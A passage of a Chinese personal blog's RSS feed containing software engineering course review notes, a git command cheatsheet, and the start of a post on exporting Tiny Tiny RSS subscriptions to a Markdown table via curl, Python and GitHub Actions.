      <link>https://ds63.eu.org/2023/%E8%BD%AF%E5%B7%A5%E5%AF%BC%E8%AE%BA%E5%A4%8D%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 16 Jun 2023 18:28:40 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/%E8%BD%AF%E5%B7%A5%E5%AF%BC%E8%AE%BA%E5%A4%8D%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>没有银弹</description>
      <content:encoded><![CDATA[<h1 id="软工导论复习">软工导论复习</h1>
<h2 id="chapter-0">Chapter 0</h2>
<ul>
<li>
<p>软件工程提出时间：1968年</p>
<p>1968年北大西洋公约组织(NATO)的计
算机科学家在联邦德国召开国际会议，
讨论软件危机问题，正式提出了“软件
工程”。</p>
</li>
</ul>
<h2 id="chapter-1">Chapter 1</h2>
<ul>
<li>The nature of software
Developed / Deteriorates / Custom built/ Complex</li>
</ul>
<h2 id="chapter-2">Chapter 2</h2>
<ul>
<li>
<p>软件工程定义</p>
<ol>
<li>The application of a systematic,
disciplined, quantifiable approach to the
development, operation, and maintenance
of software; that is, the application of
engineering to software.</li>
<li>The study of approaches as in (1).</li>
</ol>
</li>
<li>
<p>Software Process</p>
<ul>
<li>why: 需要及时的反馈</li>
<li>Process framework
<ul>
<li>Framework activities
<ul>
<li>Communication</li>
<li>Planning</li>
<li>Modeling
<ol>
<li>需求分析</li>
<li>设计</li>
</ol>
</li>
<li>Construction
<ol>
<li>代码</li>
<li>测试</li>
</ol>
</li>
<li>Deployment</li>
</ul>
</li>
<li>Umbrella Activities 庇护活动（普适性活动）
<ul>
<li>Software project tracking and control</li>
<li>Risk management</li>
<li>Software quality assurance</li>
<li>Technical reviews</li>
<li>Measurement</li>
<li>Software configuration management</li>
<li>Reusability management</li>
<li>Work product preparation and production</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>
<p>Software Lifecycle</p>
<ul>
<li>软件有一个孕育、诞生、成长、成熟、
衰亡的生存过程。这个过程即为计算机
软件的生命周期(生存周期)</li>
<li>why need
<ul>
<li>从时间角度对软件开发和维护的复杂问题进行分解，把软件生存的漫长周期依次划分为若干个阶段，每个阶段有相对独立的任务，然后再逐步完成每个阶段的任务。</li>
<li>为软件人提供一个公共的框架，以便软件人的相互交流。</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="chapter-4">Chapter 4</h2>
<ul>
<li>Evolutionary Models
<ul>
<li>prototype
<ul>
<li>类型
<ul>
<li>探索型(exploratory prototyping) 弄清需求</li>
<li>实验型(experimental prototyping)  验证方案</li>
<li>演化型(evolutionary prototyping)</li>
</ul>
</li>
<li>特征
<ul>
<li>可实际运行</li>
<li>它没有固定的生存期。它可能被扔掉，或者作为最终产品的一部分。</li>
<li>可为不同目标作原型</li>
<li>快速、廉价</li>
<li>是迭代过程的集成部分，即每次经用户评价后修改、运行，不断重复双方认可。</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="chapter-5">Chapter 5</h2>
<ul>
<li>敏捷宣言
<ul>
<li>个体和互动 高于 流程和工具</li>
<li>工作的软件 高于 详尽的文档</li>
<li>客户合作 高于 合同谈判</li>
<li>响应变化 高于 遵循计划</li>
</ul>
</li>
<li></li>
</ul>
<h2 id="chapter-7">Chapter 7</h2>
<h3 id="requirements-engineering">Requirements Engineering</h3>
<ul>
<li>Inception</li>
<li>Elicitation</li>
<li>Elaboration</li>
<li>Negotiation</li>
<li>Specification
<ul>
<li>根据需求调查和需求分析的结果，进一步定义准确无误的产品需求，产生《产品需求规格说明书》</li>
</ul>
</li>
<li>Validation</li>
<li>Requirements management</li>
</ul>
<h3 id="quality-function-deployment">Quality Function Deployment</h3>
<ol>
<li>功能部署——确定系统功能的价值</li>
<li>信息部署——确定数据对象和事件</li>
<li>任务部署——确定系统的行为</li>
<li>价值分析——确定需求的优先级</li>
</ol>
<h3 id="non-functional-requirements">Non-Functional Requirements</h3>
<ul>
<li>quality attribute</li>
<li>performance attribute</li>
<li>security attribute</li>
<li>general system constraint</li>
</ul>
<h3 id="diagrams">diagrams</h3>
<p>Use-case / Class / State / Activity</p>
<h2 id="chapter-11">Chapter 11</h2>
<ul>
<li>Analysis model
<ul>
<li>focus on describing required data, function and behavior</li>
</ul>
</li>
</ul>
<h3 id="design-model">Design model</h3>
<ul>
<li>provide detail about software data structure, architecture, interfaces and components</li>
<li>4 kinds
<ul>
<li>Data/Class design——将分析类转换为实现类和数据结构</li>
<li>Architectural design——定义主要软件结构元素之间的关系</li>
<li>Interface design——定义软件元素、硬件元素和最终用户如何通信</li>
<li>Component-level design——转换结构元素到软件组件的过程描述中</li>
</ul>
</li>
</ul>
<h3 id="concepts">concepts</h3>
<ul>
<li>Architecture-软件的整体结构
<ul>
<li>体现了系统的模块化,抽象和信息隐藏,接口设计</li>
<li>举例
<ul>
<li>客户-服务器架构（Client-Server Architecture）</li>
<li>微服务架构（Microservices Architecture）</li>
<li>事件驱动架构（Event-Driven Architecture）</li>
<li>分层架构（Layered Architecture）</li>
</ul>
</li>
</ul>
</li>
<li>Pattern
<ul>
<li>The goal of a pattern：easy to reuse.</li>
<li>types:
<ul>
<li>Architecture Pattern
<ul>
<li>B/S, C/S</li>
</ul>
</li>
<li>Design Pattern</li>
<li>Idiom
<ul>
<li>a low-level pattern specific to a programming language</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>Functional Independence
<ul>
<li>Cohesion 内聚
<ul>
<li>an indication of the relative functional strength of a module</li>
<li>功能内聚 分层内聚 通信内聚 顺序内聚 过程内聚 时间内聚 实用内聚（由高到低排列）</li>
</ul>
</li>
<li>Coupling 耦合
<ul>
<li>an indication of the relative interdependence among modules</li>
<li>非直接耦合 数据耦合 标记耦合 控制耦合 外部耦合 共用耦合 内容耦合 （ 由低到高排列）</li>
</ul>
</li>
<li>goal: 高内聚，低耦合</li>
</ul>
</li>
</ul>
<h2 id="chapter12-behavioral-modeling">Chapter12 Behavioral Modeling</h2>
<ul>
<li>what
the structure of the system, which comprise the software components, the externally visible properties of those components, and the relationships among them</li>
<li>The importance of architecture
<ul>
<li>for communication between all parties (stakeholders)</li>
<li>highlights early design decisions</li>
<li>constitutes a relatively small, intellectually graspable mode</li>
</ul>
</li>
<li>架构有什么用
<ul>
<li>分析设计在满足其规定要求方面的有效性</li>
<li>在进行设计更改仍然相对而言的阶段考虑架构替代方案容易</li>
<li>降低与软件构建相关的风险</li>
</ul>
</li>
</ul>
<h3 id="architecture-style">Architecture Style</h3>
<ul>
<li>定义内容
<ul>
<li>一组执行系统所需功能的构件</li>
<li>一组连接器，可以实现“通信、协调和组件之间的合作”</li>
<li>定义组件如何集成以形成系统的约束</li>
<li>语义模型，使设计人员能够通过分析系统组成部分的已知特性来理解系统的整体属性</li>
</ul>
</li>
<li>种类
<ul>
<li>数据流架构——批处理、管道和过滤器</li>
<li>调用和返回架构——主程序/子程序、面向对象系统、分层系统</li>
<li>独立组件架构——事件系统、触发器、监视器</li>
<li>虚拟机架构——解释器，基于规则的系统</li>
<li>仓库架构——数据库系统，黑板系统等</li>
</ul>
</li>
</ul>
<h2 id="chapter13-component-level-design">Chapter13 Component Level Design</h2>
<ul>
<li>一个模块化的、可部署的、可替换的系统部分，它封装了实现并公开了一组接口。</li>
</ul>
<h3 id="basic-design-principles">Basic Design Principles</h3>
<ol>
<li>开闭原则（OCP）——一个模块 [组件] 应该对扩展开放但对修改关闭</li>
<li>里氏替换原则（LSP）—— “子类应该可以替代它们的基类。</li>
<li>依赖倒置原则（DIP）——依赖于抽象。不要依赖实体
<ul>
<li>高层模块应该依赖于抽象（接口或抽象类）</li>
<li>抽象不应该依赖于具体实现，具体实现应该依赖于抽象</li>
</ul>
</li>
<li>接口分离原则 (ISP)——许多专用的接口都比一个通用接口好</li>
<li>发布重用等效原则 (REP)——重用的粒度就是发布的粒度</li>
<li>共同闭合原则（CCP）——同时修改的类应该放在一起</li>
<li>共同重用原则（CRP）——不能同时复用的类不应该放在一起</li>
</ol>
<h2 id="chapter14-user-interface-design">Chapter14 User Interface Design</h2>
<ul>
<li>黄金规则
<ul>
<li>用户控制操作</li>
<li>减少用户记忆负担</li>
<li>保持界面一致</li>
</ul>
</li>
</ul>
<h2 id="chapter-15-16-software-quality">Chapter 15-16 Software Quality</h2>
<ul>
<li>
<p>什么是软件质量
一个有效的软件过程，其应用方式创造了一个有用的产品，为生产它的人和使用它的人提供可衡量的价值</p>
</li>
<li>
<p>McCall’s Triangle of Quality</p>
<ul>
<li>产品修改</li>
<li>产品转移</li>
<li>产品运行</li>
</ul>
</li>
<li>
<p>The Cost of Quality</p>
<ul>
<li>在测试和维护阶段改正错误和缺陷的成本急剧增高</li>
<li>种类：
<ol>
<li>预防成本（COP）</li>
<li>评估成本（COA）</li>
<li>内部失败成本</li>
<li>外部失败成本</li>
</ol>
</li>
</ul>
</li>
</ul>
<h2 id="chapter-17-19-testing-strategy--techniques">Chapter 17-19. Testing Strategy &amp; Techniques</h2>
<ul>
<li>Verification vs. Validation
<ul>
<li>Verification: 确保软件能实现特定功能 building the product right</li>
<li>Validation: 确保软件可追溯到客户需求 building the right product</li>
</ul>
</li>
<li>测试策略——从小到大
<ul>
<li>单元测试</li>
<li>集成测试</li>
<li>系统测试</li>
<li>验收测试
<ul>
<li>α testing 由最终用户在开发人员站点进行</li>
<li>ß testing 在最终用户站点进行</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="测试策略之unit-testing">测试策略之unit testing</h3>
<ul>
<li>内容：
<ul>
<li>接口</li>
<li>局部数据结构</li>
<li>边界条件</li>
<li>独立路径</li>
<li>错误处理路径</li>
</ul>
</li>
<li>stub——代替底层</li>
<li>driver——代替顶层
<ul>
<li>提供了一个框架用于设置输入参数，环境 ，执行单元</li>
</ul>
</li>
</ul>
<h3 id="测试策略之integration-testing">测试策略之integration testing</h3>
<ul>
<li>Top Down Integration
<ul>
<li>Advantage
<ul>
<li>A skeletal version of the program can exist early and allows demonstrations</li>
<li>Design errors may be found sooner.</li>
<li>Reduces the need for test drivers</li>
<li>It tends to make fault location easier</li>
</ul>
</li>
<li>Disadvantage
<ul>
<li>stubs could be expensive to build.</li>
</ul>
</li>
</ul>
</li>
<li>Bottom-Up Integration
<ul>
<li>Advantage
<ul>
<li>Particular useful for objects and reuse.</li>
<li>requiring no structural design information</li>
</ul>
</li>
<li>Disadvantage
<ul>
<li>The program as a whole does not exist until the last module is added.</li>
<li>requires test drivers, not test stubs.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="测试策略之system-testing充分运用基于计算机的系统">测试策略之system testing——充分运用基于计算机的系统</h3>
<ul>
<li>目的：
<ul>
<li>在将要运行的真实环境中测试整个系统</li>
<li>确保系统满足整体工作的要求</li>
<li>还要测试系统功能之外的方面</li>
<li>结果有时用于系统验收</li>
<li>验证软件用户手册</li>
<li>估计可靠性和可维护性</li>
</ul>
</li>
</ul>
<h3 id="测试方法">测试方法</h3>
<ul>
<li>黑盒测试（功能）</li>
<li>白盒测试（结构）</li>
</ul>
<h2 id="chapter-21-software-configuration-management">Chapter 21 Software configuration management</h2>
<h3 id="the-scm-process">The SCM Process</h3>
<ol>
<li>identification</li>
<li>change control</li>
<li>version control</li>
<li>configuration auditing</li>
<li>reporting</li>
</ol>
<ul>
<li>Software configuration item</li>
</ul>
<h2 id="chapter-22--project-management-concept">Chapter 22  Project Management Concept</h2>
<h3 id="4-p">4 p</h3>
<ul>
<li>people</li>
<li>product
<ul>
<li>scopes
<ol>
<li>context</li>
<li>information objectives</li>
<li>function and performance</li>
</ol>
</li>
</ul>
</li>
<li>Process
<ul>
<li>Consider project characteristics</li>
<li>Determine the degree of rigor required</li>
<li>Define a task set for each software engineering activity</li>
</ul>
</li>
<li>Project
<ol>
<li>从正确的基础上开始工作——首先通过努力理解要解决的问题，然后设定现实的目标和期望来实现的</li>
<li>保持动力——项目经理必须提供激励措施，将人员流动率控制在最低限度，团队应在其执行的每项任务中强调质量，高级管理人员应尽一切可能远离团队</li>
<li>跟踪进度——作为质量保证活动的一部分，随着工作产品（例如模型、源代码、测试用例集）的生成和批准（使用正式的技术评审），进度会被跟踪。</li>
<li>做出明智的决定——项目经理和软件团队的决定应该是“保持简单”</li>
<li>进行事后分析——建立一个一致的机制来提取每个项目的经验教训</li>
</ol>
</li>
</ul>
<h3 id="w5hh">W5HH</h3>
<ol>
<li>Why is the system being developed?——为什么</li>
<li>What will be done? ——做什么</li>
<li>When will it be accomplished?——什么时候做</li>
<li>Who is responsible?——谁负责</li>
<li>Where are they organizationally located?——其他人的组织机构位于何处</li>
<li>How will the job be done technically and managerially?——如何完成技术工作和管理工作</li>
<li>How much of each resource (e.g., people, software, tools, database) will be needed?——每种资源需要多少</li>
</ol>
<h3 id="task-set-">Task set =</h3>
<ul>
<li>Software engineering tasks</li>
<li>Work products</li>
<li>Quality assurance points</li>
<li>Milestones</li>
</ul>
<h3 id="software-engineering-activity">software engineering activity</h3>
<ul>
<li>需求分析</li>
<li>设计</li>
<li>软件开发</li>
<li>软件部署</li>
<li>软件维护</li>
<li>项目管理</li>
<li>质量保证</li>
<li>配置管理</li>
<li>文档编写</li>
</ul>
<h2 id="chapter-23-process-and-project-metrics">Chapter 23 Process and Project Metrics</h2>
<ul>
<li>意义
<ol>
<li>评估正在进行的项目的状态</li>
<li>跟踪潜在风险</li>
<li>在问题造成不良影响前发现风险</li>
<li>调整工作流程或任务</li>
<li>评估项目团队控制软件工作产品质量的能力</li>
</ol>
</li>
</ul>
<h3 id="process-measurement">Process Measurement</h3>
<ul>
<li>根据过程中获得的一系列数据或软件工程任务的特性来进行测量。</li>
<li>Software Process Improvement (SPI)</li>
<li>5 Metrics
<ul>
<li>Quality-related</li>
<li>Productivity-related</li>
<li>Statistical SQA data</li>
<li>Defecti removal effciency</li>
<li>Reuse data</li>
</ul>
</li>
</ul>
<h3 id="项目度量">项目度量</h3>
<ul>
<li>三个方面
<ul>
<li>如期</li>
<li>质量</li>
<li>成本</li>
</ul>
</li>
</ul>
<h3 id="chapter-24-25-project-estimation--scheduling">Chapter 24-25 Project Estimation &amp; Scheduling</h3>
<h3 id="scope">scope</h3>
<ul>
<li>Scope refers to all the work involved in creating the
products of the project and the processes used to
create them. It defines what is or is not to be done</li>
<li>项目范围的内容
<ul>
<li>交付给最终用户的功能和特性</li>
<li>输入和输出的数据</li>
<li>由于使用软件而呈现给用户的“内容”</li>
<li>性能、约束、接口、和约束系统的可靠性</li>
</ul>
</li>
</ul>
<h3 id="work-breakdown-structure-wbs">Work Breakdown Structure (WBS)</h3>
<ul>
<li>进行WBS的五种方法
<ol>
<li>使用指南：一些组织提供的指南</li>
<li>类比方法：审查类似项目的 WBS，并根据我们的项目 进行定制。</li>
<li>自上而下的方法：从项目中最大的项目开始，并将它们分解</li>
<li>自下而上的方法：从详细的任务开始，并将它们汇总</li>
<li>思维导图方法：以非线性格式写下任务，然后创建 WBS 结构</li>
</ol>
</li>
</ul>
<h3 id="估计方法">估计方法</h3>
<ul>
<li>基于代码行的估计
<ul>
<li>优点：易于测量、容易自动化</li>
<li>缺点：仅限于代码不能用于设计、依赖于语言、没有考虑功能的复杂性、与设计的好坏挂钩</li>
</ul>
</li>
<li>基于功能点的估计
<ul>
<li>优点：
<ol>
<li>可用于最早的需求阶段</li>
<li>独立于编程语言、产品设计或开发风格</li>
<li>用户视图，而不是实现视图</li>
<li>可用于衡量非编码活动</li>
<li>存在大量历史数据</li>
<li>有据可查</li>
</ol>
</li>
<li>缺点：
<ol>
<li>无法直接计算现有产品（源代码）的 FP 内容</li>
<li>难以自动化</li>
<li>FP 不反映语言、设计或风格差异</li>
<li>FP 设计用于估计商业数据处理应用</li>
<li>主观计数</li>
</ol>
</li>
</ul>
</li>
</ul>
<h3 id="项目调度">项目调度</h3>
<ol>
<li>项目为什么会延期
不切实际的截止日期
需求的变化
低估工作量
不可预测的风险
技术难题
人为困难
沟通不畅
未能认识到项目落后于计划或缺乏纠正问题的行动</li>
<li>调度的原则
划分——定义多个不同的任务
相互依赖性——明确任务的相互关系
工作量确认——确保人力资源可用
确定责任——明确责任承担者
明确输出结果——确定活动产生的结果
确定里程碑——进行质量审查</li>
<li>调度的步骤
<ol>
<li>定义任务集——WBS</li>
<li>安排活动</li>
<li>绘制项目网络图</li>
<li>关键路径分析</li>
<li>使用甘特图进行调度</li>
<li>进度跟踪</li>
</ol>
</li>
</ol>
<h2 id="chapter-26-risk-management">Chapter 26 Risk Management</h2>
<ul>
<li>
<p>Reactive Risk Management</p>
</li>
<li>
<p>Proactive Risk Management</p>
<ul>
<li>formal risk analysis is performed</li>
<li>corrects the root causes of risk</li>
</ul>
</li>
<li>
<p>Risk Management Paradigm</p>
<ol>
<li>Risk identification</li>
<li>Risk analysis</li>
<li>Risk planning</li>
<li>Risk monitoring</li>
</ol>
</li>
<li>
<p>RMMM</p>
<ul>
<li>Mitigation</li>
<li>Monitoring</li>
<li>Management</li>
</ul>
</li>
</ul>
<h2 id="常用图">常用图</h2>
<ul>
<li>用例图</li>
<li>类图</li>
<li>活动图
<ul>
<li>变形：泳道图</li>
</ul>
</li>
<li>顺序图</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>git常用命令</title>
      <link>https://ds63.eu.org/2023/git_cheatsheet/</link>
      <pubDate>Fri, 26 May 2023 13:18:01 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/git_cheatsheet/</guid>
      <description>a cheatsheet of git commands</description>
      <content:encoded><![CDATA[<p><strong>本篇内容大部分非我原创，只是我自己整理的笔记，具体出处请见<a href="#%e5%8f%82%e8%80%83" >参考</a></strong></p>
<h2 id="clone">clone</h2>
<p>可以仅clone单个分支的最新内容</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git clone --single-branch --depth <span class="m">1</span> --branch <span class="s2">&#34;</span><span class="nv">$TARGET_BRANCH</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$GIT_CMD_REPOSITORY</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$CLONE_DIR</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># </span>
</span></span><span class="line"><span class="cl"><span class="nv">GIT_CMD_REPOSITORY</span><span class="o">=</span><span class="s2">&#34;https://</span><span class="nv">$DESTINATION_REPOSITORY_USERNAME</span><span class="s2">:</span><span class="nv">$API_TOKEN_GITHUB</span><span class="s2">@</span><span class="nv">$GITHUB_SERVER</span><span class="s2">/</span><span class="nv">$DESTINATION_REPOSITORY_USERNAME</span><span class="s2">/</span><span class="nv">$DESTINATION_REPOSITORY_NAME</span><span class="s2">.git&#34;</span>
</span></span><span class="line"><span class="cl">git clone --single-branch --depth <span class="m">1</span> <span class="s2">&#34;</span><span class="nv">$GIT_CMD_REPOSITORY</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$CLONE_DIR</span><span class="s2">&#34;</span>
</span></span></code></pre></div><h2 id="add">add</h2>
<ul>
<li><code>git add .</code> 会根据.gitignore做过滤</li>
<li><code>git add *</code> 会忽略.gitignore把任何文件都加入</li>
<li><code>git add -p</code> 会逐个显示文件中的每组改动，并询问是否要加入 index</li>
</ul>
<h2 id="commit">commit</h2>
<p>可以通过环境变量更改提交时间哦</p>
<ul>
<li><code>export GIT_COMMITTER_DATE=”Jan 11 17:11:18 2018 +0800”</code></li>
<li><code>export GIT_AUTHOR_DATE=”Jan 11 17:11:18 2018 +0800”</code></li>
<li><code>git commit –amend –date=date -R</code></li>
</ul>
<h2 id="push">push</h2>
<p>文件推送的三个步骤：</p>
<pre tabindex="0"><code>git add 
git commit -m&#34;输入想说的话&#34;
git push
</code></pre><h2 id="status">status</h2>
<p><code>git status</code></p>
<h2 id="branch">branch</h2>
<ul>
<li>
<p>转到另一个分支 <code>git checkout {分支名}</code></p>
</li>
<li>
<p>查看本地分支 <code>git branch</code></p>
</li>
<li>
<p>查看远程分支 <code>git branch -r</code></p>
</li>
<li>
<p>查看本地和远程分支 <code>git branch -a</code></p>
</li>
<li>
<p>删除本地分支 <code>git branch -d {本地分支名}</code></p>
</li>
<li>
<p>强制删除本地分支<code>git branch -D {本地分支名}</code></p>
</li>
<li>
<p>删除远程分支 <code>git push origin --delete {远程分支名}</code></p>
</li>
<li>
<p>已经删除的远程分支但仍<code>git branch -a</code>时仍显示 ：<code>git remote prune origin</code></p>
</li>
</ul>
<h2 id="log">log</h2>
<ul>
<li><code>git log</code> 查看分支提交历史</li>
<li><code>git reflog</code> 也是查看日志，主要区别是会显示<code>reset --hard</code></li>
</ul>
<h2 id="reset">reset</h2>
<ul>
<li><code>git reset HEAD</code> 撤销上一次的<code>add</code></li>
<li><code>git reset HEAD ${filename}</code> 仅撤销某一文件</li>
<li><code>git reset --hard {commit_id}</code></li>
<li><code>git reset --hard HEAD^ </code> 回退到上一版本</li>
</ul>
<h2 id="config">config</h2>
<ul>
<li><code>git config --global user.name &quot;Your Name&quot;</code></li>
<li><code>git config --global user.email &quot;youremail@example.com&quot;</code></li>
<li><code>git config --global --list</code> 查看配置</li>
<li><code>git config --global http.proxy 'http://127.0.0.1:7890'</code></li>
<li><code>git config --global https.proxy 'http://127.0.0.1:7890'</code></li>
</ul>
<h2 id="tag">tag</h2>
<ul>
<li><code>git tag</code> 列出所有已有的标签</li>
<li>tag 分为两种：
<ul>
<li>lightweight tag，例：<code>git tag v1.0</code></li>
<li>annotated tag, 例： <code>git tag -a v2.0 -m &quot;version 2.0&quot;</code></li>
</ul>
</li>
<li><code> git tag -d v1.0</code> 删除标签</li>
<li><code>git push origin v2.0</code> 上传标签到远程仓库</li>
<li><code>git push origin --tags</code> 上传所有未推送过的本地标签</li>
<li><code>git fetch origin tag &lt;tagname&gt;</code> 下载远程仓库的标签</li>
</ul>
<h2 id="commit-message-type">commit message type</h2>
<ul>
<li>feat：新功能（feature）</li>
<li>fix：修补bug</li>
<li>docs：文档（documentation）</li>
<li>style： 格式（不影响代码运行的变动）</li>
<li>refactor：重构（即不是新增功能，也不是修改bug的代码变动）</li>
<li>test：增加测试</li>
<li>chore：构建过程或辅助工具的变动</li>
</ul>
<h2 id="git-查询">Git 查询</h2>
<p>在之前的所有提交信息里进行搜索，找到其中和搜索条件相匹配的最近的一条。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git show :/query
</span></span></code></pre></div><p>这里 <code>query</code> （区别大小写）是你想要搜索的词语， 这条命令会找到包含这个词语的最后那个提交并显示变动详情。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git show :/typo
</span></span></code></pre></div><p>
  <img loading="lazy" src="http://i.imgur.com/icaGiNt.png" alt="git show :/query"  /></p>
<p>注：按 <code>q</code> 键退出命令</p>
<h2 id="fetch">fetch</h2>
<ul>
<li>
<p><strong>同步其他分支</strong>
在远端 PR 被合并之后往往需要切换到主分支然后重现拉取代码，这会无意义地去重新触发一次旧版本的索引，下面这条命令可以在不切换分支的情况下更新 master 到最新: <code>git fetch origin master:master</code></p>
</li>
<li>
<p><strong>检出 Pull Requests</strong>
对 Github 仓库来说，Pull Request 是种特殊分支， 可以通过以下多种方式取到本地：</p>
<p>取出某个特定的 Pull Request 并临时作为本地的 <code>FETCH_HEAD</code> 中以便进行快速查看更改( diff )以及合并( merge )：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git fetch origin refs/pull/<span class="o">[</span>PR-Number<span class="o">]</span>/head
</span></span></code></pre></div><p>通过 refspec 获取所有的 Pull Request 为本地分支：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git fetch origin <span class="s1">&#39;+refs/pull/*/head:refs/remotes/origin/pr/*&#39;</span>
</span></span></code></pre></div></li>
</ul>
<h2 id="stash">stash</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git stash <span class="c1"># when you want to record the current state of the working directory and the index, but want to go back to a clean working directory</span>
</span></span><span class="line"><span class="cl">git stash list 
</span></span><span class="line"><span class="cl">git stash pop
</span></span><span class="line"><span class="cl">git stash apply
</span></span></code></pre></div><h2 id="二分-debug">二分 debug</h2>
<p>给定两个提交记录 git 辅助你二分查找 bug 的引入时间，同时支持运行脚本</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git bisect start
</span></span><span class="line"><span class="cl">git bisect bad
</span></span><span class="line"><span class="cl">git bisect good v1.0.0
</span></span><span class="line"><span class="cl">git bisect reset
</span></span><span class="line"><span class="cl">git bisect start bad_commit good_commit
</span></span><span class="line"><span class="cl">git bisect run test-error.sh
</span></span></code></pre></div><h2 id="参考">参考</h2>
<ul>
<li><a href="https://github.com/tiimgreen/github-cheat-sheet/blob/master/README.zh-cn.md"  target="_blank" rel="noopener" >github-cheat-sheet/README.zh-cn.md at master · tiimgreen/github-cheat-sheet</a></li>
<li><a href="https://gist.github.com/rishavpandey43/84665ffe3cea76400d8e5a1ad7133a79"  target="_blank" rel="noopener" >This gist consist of the rules and best practice of good conventional git commit message</a></li>
<li><a href="https://gist.github.com/robertpainsi/b632364184e70900af4ab688decf6f53"  target="_blank" rel="noopener" >Commit message guidelines</a></li>
<li><a href="https://blog.frankzhao.cn/config_your_git/"  target="_blank" rel="noopener" >如何高效配置你的 Git - Frank 的个人博客</a></li>
<li><a href="https://git-scm.com/docs/git-stash"  target="_blank" rel="noopener" >Git - git-stash Documentation</a></li>
<li><a href="https://www.waterwater.moe/2020/06/24/2020-06-24_Git%E5%B0%8F%E8%B4%B4%E5%A3%AB/"  target="_blank" rel="noopener" >Git 小贴士 | Water Space</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>TinyTinyRSS-OPML-to-MD-Table</title>
      <link>https://ds63.eu.org/2023/tinytinyrss-opml-to-md-table/</link>
      <pubDate>Sat, 29 Apr 2023 00:59:40 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/tinytinyrss-opml-to-md-table/</guid>
      <description>记录&lt;a href=&#34;https://github.com/EuDs63/TinyTinyRSS-OPML-to-MD-Table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34; &gt;EuDs63/TinyTinyRSS-OPML-to-MD-Table&lt;/a&gt; 的过程</description>
      <content:encoded><![CDATA[<h2 id="需求由来">需求由来：</h2>
<p>我很喜欢读博客。但发现总有些很有趣的博客等着发现。所以我关注了些推荐博客的频道。同时，我也想分享些自己喜欢的博客，但每次去手动复制又显得太麻烦了。所以就想着做一个自动化的方式，顺带着也可以学习下Github Action.</p>
<h2 id="历程">历程</h2>
<ol>
<li>大部分时间是花在了如何获取opml文件上。Tiny Tiny RSS所给的文档较为精简，而网上相关的资料大都仅局限于如何部署。所以这一段只能是自己摸索。
<ul>
<li>TinyTinyRSS的网页版有给一个按钮能导出OPML，而这个按钮所指向的网址是<code>http://example.com/tt-rss/backend.php?op=opml&amp;method=export'</code>。但它是有个鉴权操作的。需要登录。</li>
<li>它的示例中有提供了一个登录的api调用，所以我开始的想法也是顺着这个来。想着直接添加data参数。但尝试了多种添加方式无果。</li>
<li>后来注意到登录成功是会返回session值的，于是先用curl试验了下。
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 登录并获取Session ID</span>
</span></span><span class="line"><span class="cl"><span class="nv">SESSION</span><span class="o">=</span><span class="k">$(</span>curl -s -d <span class="s1">&#39;{&#34;op&#34;:&#34;login&#34;,&#34;user&#34;:&#34;user&#34;,&#34;password&#34;:&#34;password&#34;}&#39;</span> http://example.com/tt-rss/api/ <span class="p">|</span> python -c <span class="s2">&#34;import sys, json; print(json.load(sys.stdin)[&#39;content&#39;][&#39;session_id&#39;])&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#获得opml文件</span>
</span></span><span class="line"><span class="cl">curl -o my_tiny_tiny_rss.opml <span class="s1">&#39;http://example.com/tt-rss/backend.php?op=opml&amp;method=export&#39;</span> --cookie <span class="s2">&#34;ttrss_sid=</span><span class="si">${</span><span class="nv">SESSION</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span></code></pre></div></li>
<li>转写成python是用的request。其实现在回头想想，这应该是蛮基础的操作，而且session之前也有接触过。如果早点想起来的话是可以少花些时间的。</li>
</ul>
</li>
<li>opml的解析有现成的库，用就是了。</li>
<li>然后就是把一些个人信息抽出来写在配置文件中。这里踩了一个坑。<code>data = {'op': 'login', 'user': user, 'password': password}</code>,我开始的时候是这样写的<code>data = f&quot;{{'op': 'login', 'user': {user}, 'password': {password}}}&quot;</code>。后者虽然在形式上看着一样，但前者是json对象，后者是字符串。这里也给我提了个醒：Python虽然有动态类型这个特性，但还是要注意类型错误。</li>
<li>最后是使用Github Action。之前也有使用过，但是是直接用的别人写好的workflow。所以也花了些时间学习了下。遇到的几个问题是
<ul>
<li>Yml文件的格式问题。这个可以用<a href="https://codebeautify.org/yaml-validator"  target="_blank" rel="noopener" >YAML Validator</a>来检查。Vscode应该也有相应的插件吧。</li>
